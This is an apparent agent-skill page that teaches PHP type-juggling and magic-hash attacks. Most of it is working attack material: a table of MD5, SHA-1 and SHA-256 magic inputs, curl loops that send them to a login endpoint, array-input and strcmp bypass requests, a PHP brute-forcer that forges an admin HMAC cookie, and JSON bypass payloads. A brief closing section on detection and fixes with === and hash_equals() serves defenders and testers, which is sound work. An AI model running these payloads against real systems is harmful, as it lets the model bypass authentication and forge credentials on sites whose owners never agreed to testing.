# PHP Type Juggling

> PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

- Skill: `purpleailab/php-type-juggling` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/php-type-juggling`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/php-type-juggling/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/php-type-juggling

---


# PHP Type Juggling and Magic Hash Attacks

> **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.

PHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.

Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.

## ATT&CK Mapping

| Technique | Notes |
|-----------|-------|
| T1190 | Exploit public-facing application — auth bypass via comparison flaw |
| T1606.001 | Forge web credentials — force authentication with crafted hash values |

## 1. Loose Comparison Cheat Sheet

```
'0010e2'  == '1e3'      → true   (both evaluate as float 1000)
'123'     == 123        → true   (string cast to int)
'123abc'  == 123        → true   (leading numeric string)
'abc'     == 0          → true   (non-numeric string == 0 in PHP 5/7)
''        == 0          → true
0         == false      → true
false     == NULL       → true
NULL      == ''         → true
md5([])   == NULL       → true   (NULL == any string starting with 0e)
sha1([])  == NULL       → true
```

PHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass.

## 2. Magic Hashes — 0e Collisions

When a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are "equal" under `==` regardless of their actual values.

### MD5 Magic Strings

| Input | MD5 Hash |
|-------|----------|
| `240610708` | `0e462097431906509019562988736854` |
| `QNKCDZO` | `0e830400451993494058024219903391` |
| `0e1137126905` | `0e291659922323405260514745084877` |
| `0e215962017` | `0e291242476940776845150308577824` |
| `aabg7XSs` | `0e087386482136013740957780965295` |

### SHA-1 Magic Strings

| Input | SHA-1 Hash |
|-------|-----------|
| `10932435112` | `0e07766915004133176347055865026311692244` |
| `aaroZmOk` | `0e66507019969427134894567494305185566735` |
| `aaK1STfY` | `0e76658526655756207688271159624026011393` |

### SHA-224 / SHA-256 Magic Strings

| Hash | Input | Output |
|------|-------|--------|
| SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` |
| SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` |
| SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` |

### Exploitation

```bash
# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.

# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
  echo -n "Trying $magic: "
  curl -si "https://target.example.com/login" \
    -d "username=admin&password=${magic}" \
    | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done
```

## 3. NULL Bypass via Array Input

`md5([])` and `sha1([])` in PHP 5/7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar:

```bash
# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
  -d "username=admin&password[]=" \
  | grep -E "Location:|Set-Cookie:|error"

# POST with array notation
curl -si "https://target.example.com/verify" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "hash[]=&user=admin" \
  | grep -i "success\|error\|redirect"
```

## 4. strcmp() Return Value Bypass

`strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5/7):

```bash
# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
  -d "username=admin&pass[]=" \
  | grep -iE "success|welcome|redirect|Location"
```

## 5. HMAC Brute-Force for 0e Collision (Magic HMAC)

When a cookie HMAC is verified with loose comparison against `"0"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `"0"` under `==`.

This works when the key is empty or known (e.g., leaked via `.env`).

```bash
# PHP script to find a magic HMAC timestamp (empty key example)
# Run: php find_magic_hmac.php
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = '';  // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
    $out = hash_hmac('md5', $username . '|' . $i, $key);
    if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
        echo "Found: expiration=$i hash=$out\n";
        break;
    }
}
EOF
php /tmp/find_magic_hmac.php

# Then craft the cookie with hmac=0 and the found expiration
# cookie: username=admin; expiration=<found>; hmac=0
```

## 6. Type Juggling in JSON APIs

JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:

```bash
# Send integer 0 instead of string "false"/"no"
curl -si "https://target.example.com/api/verify" \
  -H "Content-Type: application/json" \
  -d '{"token": 0, "user": "admin"}' \
  | grep -iE "success|error|200"

# Send true to bypass boolean checks
curl -si "https://target.example.com/api/verify" \
  -H "Content-Type: application/json" \
  -d '{"admin": true, "role": "admin"}' \
  | grep -iE "success|error|200"
```

## 7. Identify Vulnerable PHP Code Patterns

```bash
# Grep the target's source (if accessible — e.g., leaked backup, open source app)
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null

# Look for PHP version to assess 0e / array bypass viability
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"
```

## 8. Common Targets in the Wild

| Application Class | Likely Sink |
|-------------------|-------------|
| Custom PHP login forms | `md5($pass) == $stored` |
| Token validation endpoints | `strcmp($token, $secret) == 0` |
| HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` |
| Email unsubscribe links | `md5($email) == $_GET['hash']` |
| Admin PIN verification | `sha1($pin) == $db_hash` |

## Detection Notes

- PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable
- Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons
- Dynamic: supply `[]` for hash/strcmp parameters, observe PHP warning in response or error logs
- Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks

## References

- [PayloadsAllTheThings: Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling)
- [OWASP: PHP Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf)
- [Magic Hashes — spaze/hashes](https://github.com/spaze/hashes)
- [Super Magic Hashes — Almond Consulting](https://offsec.almond.consulting/super-magic-hash.html)

